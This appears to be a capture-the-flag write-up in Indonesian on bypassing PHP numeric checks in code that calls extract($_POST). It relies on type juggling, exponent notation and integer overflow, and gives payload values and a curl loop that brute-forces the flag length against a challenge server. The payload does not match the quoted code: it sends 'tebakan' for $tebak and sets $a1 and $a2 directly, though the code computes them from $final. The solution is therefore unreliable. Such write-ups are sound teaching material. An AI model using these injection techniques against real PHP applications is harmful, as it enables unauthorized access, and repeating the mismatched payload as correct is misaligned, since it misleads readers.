Bypass Numeric Condition

if(strlen($tebak) == 5 && $tebak == 1020){
  extract($_POST);
  if(strlen($tebek) == 5 && $tebek > 10000000000000 && $server == strlen(FLAG)){
    echo CLUE;
    $a1 = (int) $final;
    $a2 = (string) $final;
    if(isset($a1) and empty($a1) and $a1 == NULL and strlen($a2) != '1'){
      if(chr(substr($tebak, 0,3)) == 'f'){
      $not_final = $joke;
        if(strlen($not_final) == 3 and $not_final == 0){
        echo FLAG;
        }
      }
    }
  }
}

Harus melewati beberapa komparasi agar bisa mendapatkan flag. Nilai-nilai dari variable bisa dioverwrite karena terdapat penggunaan fungsi extract(). if(strlen($tebak) 5 && $tebak 1020), strlen($tebek) 5 && $tebek, dan strlen($not_final) 3 and $not_final 0 bisa dilewati dengan teknik eksponensial bawaan php. if(isset($a1) and empty($ bisa menggunakan MAX_INT sehingga mengakibatkan integer overflow. Variable $server bisa dilakukan bruteforce untuk mendapatkan panjang flag yang benar.

tebakan=102e1
tebek=1e200
a1=18446744073709551616
a2=18446744073709551616
joke=0e0
server=N

Script:

#!/bin/bash
for i in $(seq 0 100); do
  echo "Flag Len : ${i}\n"
  curl 'http://203.201.167.78:1234/api.php' --data "tebakan=102e1&tebek=1e200&a1=18446744073709551616&a2=18446744073709551616&joke=0e0&server=${i}";
done

results matching ""

    No results matching ""